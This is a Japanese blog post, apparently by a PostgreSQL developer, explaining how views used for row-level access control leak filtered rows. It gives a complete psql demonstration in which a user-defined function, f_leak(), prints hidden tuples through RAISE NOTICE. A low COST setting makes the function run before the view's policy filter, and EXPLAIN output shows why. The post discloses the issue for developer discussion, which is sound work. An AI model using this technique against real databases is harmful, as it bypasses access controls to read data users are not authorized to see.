Leaky VIEW まとめ

SELinuxとは関係のない、RDBMSでのセキュリティのお話。

利用者に対して、テーブルに対する直接のアクセス権を与えず、特定のビューを通してだけアクセスを許可するのは、行レベルのアクセス制御でよく使われるテクニックである。
つまり、ビューは不可視であるタプルをフィルタリングする役割を持つ。

しかし、これで万全かというと、そうではない。
クエリ最適化を上手く利用することで、利用者が見えないはずのタプルを参照する事は可能である。

以下の例を見て頂きたい。

postgres=# CREATE TABLE T1 (id int, name text);
CREATE TABLE
postgres=# CREATE TABLE T2 (id int, cred text);
CREATE TABLE
postgres=# INSERT INTO t1 VALUES (1, 'coke'), (2, 'soda'),
                                 (3, 'juice'), (4, 'fanta');
INSERT 0 4
postgres=# INSERT INTO t2 VALUES (1, 'public'), (2, 'hidden'),
                                 (3, 'hidden'), (4, 'public');
INSERT 0 4
postgres=# CREATE VIEW v1 AS SELECT * FROM t1 NATURAL JOIN t2
                                      WHERE t2.cred = 'public';
CREATE VIEW
postgres=# SELECT * FROM v1;
 id | name  |  cred
----+-------+--------
  1 | coke  | public
  4 | fanta | public
(2 rows)

postgres=# GRANT SELECT ON v1 TO alice;
GRANT

ビュー v1 は、テーブル t1 と t2 を JOINし、ここでは t2.cred = 'public' が行レベルのセキュリティポリシー、すなわち、フィルタリング対象の行を定めるものとする。

ユーザ alice は t1 と t2 へのアクセス権を持っていないため、ビュー v1 を通してしか、これらの情報にアクセスできないはずである。

だがしかし、以下のクエリの実行結果を見てもらいたい。

postgres=> SELECT getpgusername();
 getpgusername
---------------
 alice
(1 row)

postgres=> SELECT * FROM t1;
ERROR:  permission denied for relation t1
postgres=> SELECT * FROM t2;
ERROR:  permission denied for relation t2
postgres=> SELECT * FROM v1;
 id | name  |  cred
----+-------+--------
  1 | coke  | public
  4 | fanta | public
(2 rows)

上記の結果は想定通りだろう。
では、続いて、WHERE句にユーザ定義関数を付加する。
この関数は、常に true を返すが、引数を利用者のコンソールに出力する。

postgres=> CREATE OR REPLACE FUNCTION f_leak(text)
               RETURNS bool LANGUAGE 'plpgsql'
               AS 'BEGIN
                       raise notice ''f_lead: (%)'', $1;
                       RETURN true;
                   END';
CREATE FUNCTION
postgres=> SELECT * FROM v1 WHERE f_leak(name);
NOTICE:  f_lead: (coke)
NOTICE:  f_lead: (soda)
NOTICE:  f_lead: (juice)
NOTICE:  f_lead: (fanta)
 id | name  |  cred
                                        • -
1 | coke | public 4 | fanta | public (2 rows)

結果セットは2行だが、利用者コンソールには見えてはならないはずのタプルの内容が出力されている。

その理由はEXPLAIN分の出力を見ると明らかである。

postgres=> EXPLAIN SELECT * FROM v1 WHERE f_leak(name);
                           QUERY PLAN
                                                                                                                              • -
Hash Join (cost=25.45..356.91 rows=12 width=68) Hash Cond: (t1.id = t2.id) -> Seq Scan on t1 (cost=0.00..329.80 rows=410 width=36) Filter: f_leak(name) -> Hash (cost=25.38..25.38 rows=6 width=36) -> Seq Scan on t2 (cost=0.00..25.38 rows=6 width=36) Filter: (cred = 'public'::text) (7 rows)

f_leak()関数を探してみると、Join-Loopの内側で t1 テーブルを読み出す際のフィルタリング条件として実行されている事がわかる。

これは、f_leak()の引数が t1 由来のデータだけを参照しているため、Joinすべき行数を減らすために、本来実行されるべき位置(t1.id = t2.id を評価した後)からオプティマイザによって移動させられた事による。

とは言え、この手の最適化を行わなければビューを介したアクセスは極端に性能が悪くなるはずなので、問題は PostgreSQL に限った話ではないと思われる。

例えば、100万件のタプルを持つテーブルでID列にインデックスが張られており、処理コストの比較的高い f_policy() 関数によってフィルタリングを行うビューを介してアクセスするとする。その場合、ビューの外から ID = 1234 という条件が来た場合に常に全件スキャンが走るようなら、泣ける。

手元にOracleの環境がある友人に試してもらったところ、同様に、見えないはずのタプルの内容を出力できるそうな。

なお、PostgreSQLには、セキュリティポリシーの適用されている t2 の内容を見る方法もある。*1

以下のような関数を定義する。ポイントは COST=0.0001 の部分。

postgres=> CREATE OR REPLACE FUNCTION f_leak(text)
               RETURNS bool LANGUAGE 'plpgsql'
               COST 0.0001
               AS 'BEGIN
                       raise notice ''f_lead: (%)'', $1;
                       RETURN true;
                   END';
CREATE FUNCTION

今度は f_leak() 関数で t2 の情報を参照するようにすると、同様にフィルタリングされているはずの行の内容が出力される。

postgres=> SELECT * FROM v1 WHERE f_leak(cred);
NOTICE:  f_lead: (public)
NOTICE:  f_lead: (hidden)
NOTICE:  f_lead: (hidden)
NOTICE:  f_lead: (public)
 id | name  |  cred
                                        • -
1 | coke | public 4 | fanta | public (2 rows)

EXPLAIN文の結果

postgres=> EXPLAIN SELECT * FROM v1 WHERE f_leak(cred);
                            QUERY PLAN
                                                                                                                                  • -
Hash Join (cost=25.40..52.43 rows=12 width=68) Hash Cond: (t1.id = t2.id) -> Seq Scan on t1 (cost=0.00..22.30 rows=1230 width=36) -> Hash (cost=25.38..25.38 rows=2 width=36) -> Seq Scan on t2 (cost=0.00..25.38 rows=2 width=36) Filter: (f_leak(cred) AND (cred = 'public'::text)) (6 rows)

今度は、f_leak()がt2のScan-Loopに結合されているが、注目すべきはその順序。

f_leak()のコスト値を低く設定したために、複数のフィルタリング条件がScan-Loopに結合している場合、f_leak()が cred = 'public' よりも優先されている。

後者のシナリオは、何もJoinを伴わない場合でも実行可能である。

この問題は、既に開発者の中では既知の問題で、利用者から特定のタプルを不可視にする目的でビューを使うべきでない事が明記されている。
http://www.postgresql.jp/document/current/html/rules-privileges.html

5/18にオタワで開催される PostgreSQL Developer Meeting では、この問題を議論するつもりである。
一応、解決策の腹案は持っているが、そこまで踏み込まないにしても、先ずはこの辺のシナリオが『解決すべき課題である』というコンセンサス形成あたりを目標としたい。

*1:PostgreSQL固有というのは、他のRDBMSでユーザ定義関数のコストを指定する手段があるかどうか不明のため。